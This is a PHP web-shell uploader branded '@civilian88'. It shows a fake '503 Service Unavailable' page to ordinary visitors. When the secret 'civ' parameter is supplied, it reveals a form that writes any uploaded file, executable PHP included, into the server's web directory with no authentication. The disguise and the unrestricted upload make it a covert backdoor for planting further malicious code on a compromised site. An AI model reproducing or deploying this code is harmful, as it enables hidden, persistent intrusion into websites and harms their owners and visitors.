<?php
$targetDir = __DIR__ . '/';

if (!isset($_GET["civ"])) {
    http_response_code(503);
    echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">";
    echo "<html><head><title>503 Service Unavailable</title></head><body>";
    echo "<h1>Service Unavailable</h1>";
    echo "<p>The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.</p>";
    echo "<p>Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.</p>";
    echo "</body></html>";
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file']) && isset($_POST['civ'])) {
    $file = $_FILES['file'];
    $originalName = basename($file['name']);

    if (empty($originalName) || !preg_match("/^[a-zA-Z0-9\._-]{1,255}$/", $originalName)) {
        echo "Upload Failed: Nama file tidak valid.";
        exit;
    }

    if (move_uploaded_file($file['tmp_name'], $targetDir . $originalName)) {
        echo "Upload Successful: " . htmlspecialchars($originalName);
    } else {
        echo "Upload Failed.";
    }
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Civilian Uploader</title>
</head>
<body>
    <h1>@civilian88</h1>
    
    <form id="uploadForm" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="fileInput" required>
        <button type="submit">Upload</button>
        <input type="hidden" name="civ" value="true">
    </form>
    
    <div id="status"></div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const form = document.getElementById('uploadForm');
            const statusDiv = document.getElementById('status');
            const fileInput = document.getElementById('fileInput');

            form.addEventListener('submit', function(event) {
                event.preventDefault();
                
                const file = fileInput.files[0];

                if (!file) {
                    statusDiv.textContent = 'Choose File!';
                    return;
                }

                const formData = new FormData(form);
                
                const uploadUrl = window.location.href; 

                fetch(uploadUrl, {
                    method: 'POST',
                    body: formData
                })
                .then(response => {
                    if (!response.ok) {
                        return response.text().then(text => { 
                            throw new Error(`Server error: ${response.status} ${response.statusText}. Response: ${text}`);
                        });
                    }
                    return response.text();
                })
                .then(result => {
                    statusDiv.textContent = result;
                    if (result.startsWith('Upload Successful')) {
                        fileInput.value = ''; 
                    }
                })
                .catch(error => {
                    console.error('Error:', error);
                    statusDiv.textContent = 'Upload Failed: ' + error.message;
                });
            });
        });
    </script>
</body>
</html>